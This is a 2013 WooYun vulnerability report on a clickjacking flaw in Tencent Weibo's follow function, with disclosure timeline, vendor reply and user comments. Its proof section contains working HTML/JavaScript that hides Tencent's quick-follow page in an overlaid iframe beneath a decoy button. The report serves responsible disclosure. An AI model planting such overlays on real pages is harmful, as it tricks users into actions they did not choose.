当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-019063

漏洞标题：腾讯微博关注功能点击劫持漏洞

相关厂商：腾讯

漏洞作者： Sogili

提交时间：2013-02-22 22:24

修复时间：2013-04-08 22:25

公开时间：2013-04-08 22:25

漏洞类型：设计缺陷/逻辑错误

危害等级：低

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-02-22： 细节已通知厂商并且等待厂商处理中
2013-02-27： 厂商已经确认，细节仅向厂商公开
2013-03-09： 细节向核心白帽子及相关领域专家公开
2013-03-19： 细节向普通白帽子公开
2013-03-29： 细节向实习白帽子公开
2013-04-08： 细节向公众公开

简要描述：

腾讯微博关注功能点击劫持漏洞,可以让其它微博用户在不知情的情况下关注你.

详细说明：

这个漏洞应该算是对http://pkav.net/2013/01/341.html的一个补充吧,不是所有情况都可以用防嵌入来解决点击劫持.具体看漏洞证明.

漏洞证明：

<script>
var xx=0;
var yy=0;
window.onload=function (e){
var iframe = document.getElementById('xxx');
iframe.style.left=a.offsetLeft-xx;
iframe.style.top=a.offsetTop-yy;
}
</script>
<iframe style="position:absolute;opacity: 0.5;filter:alpha(opacity=50);z-index:1;" id=xxx src="http://follow.v.t.qq.com/index.php?c=follow&a=quick&name=jackmasa&style=4&t=1342759674261&f=0#" WIDTH=100 height=25></iframe>
<br><br></br><br></br><br></br><center><button id=a>我勒个去</button></center>

修复方案：

加confirm确认框.


为什么我觉得腾讯不会修复这个漏洞?

版权声明：转载请注明来源 Sogili@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2013-02-27 10:54

厂商回复：

非常感谢您的报告。我们会马上安排专人跟进确认处理，有新的情况会及时同步

最新状态：

暂无

漏洞评价：

评论

  1. 2013-02-22 22:35 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    复制没修改，编辑xiaba

  2. 2013-02-22 22:43 | 溪水流淌 ( 路人 | Rank:9 漏洞数:2 | 如果一切都任我欲为，我会有迷失在这自由深...)

    前排强势围观。

  3. 2013-02-22 22:56 | Finger 认证白帽子 ( 普通白帽子 | Rank:777 漏洞数:95 | 最近有人冒充该账号行骗，任何自称Finger并...)

    新浪？腾讯？

  4. 2013-02-22 23:12 | oldcat ( 实习白帽子 | Rank:88 漏洞数:14 )

    @Finger 腾讯

  5. 2013-02-23 00:42 | ‫‌ ( 实习白帽子 | Rank:76 漏洞数:14 )

    腾讯已经修复了

  6. 2013-02-23 00:43 | ‫‌ ( 实习白帽子 | Rank:76 漏洞数:14 )

    发错了 新浪已经修复了 大脑短路啊。

  7. 2013-02-23 09:16 | 心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 严肃点~此号为虚拟小号，并不存在实体...)

    你只看到我发的漏洞，却没看到我的黑眼圈；你嘲笑我只会找漏洞没钱不配去爱，我可怜你只会上QQ总是等待；你可以轻视我们的年轻，我们会证明这是谁的时代。扫漏洞，是注定孤独的旅行，路上少不了质疑和嘲笑，但那又怎样？哪怕天天熬夜，也要活的漂亮。我是白帽子，我为自己代言。

  8. 2013-02-23 09:19 | 冷静 ( 路人 | Rank:3 漏洞数:2 )

    @心伤的瘦子 大哥难以言表的话闷在胸口!!

  9. 2013-02-23 11:21 | Sogili ( 普通白帽子 | Rank:129 漏洞数:27 )

    @‫‌ 新浪微博貌似还没修复

  10. 2013-02-23 12:19 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @心伤的瘦子 。。陈欧体

  11. 2013-02-23 23:53 | erevus ( 普通白帽子 | Rank:177 漏洞数:31 | Hacked by @ringzero 我錯了)

    强势围观

  12. 2013-02-24 11:31 | 剑指天涯 ( 路人 | Rank:1 漏洞数:1 | 我是来乌云打酱油的，没提过漏洞，没拿过ra...)

    瘦子来了胖子呢？求胖子，…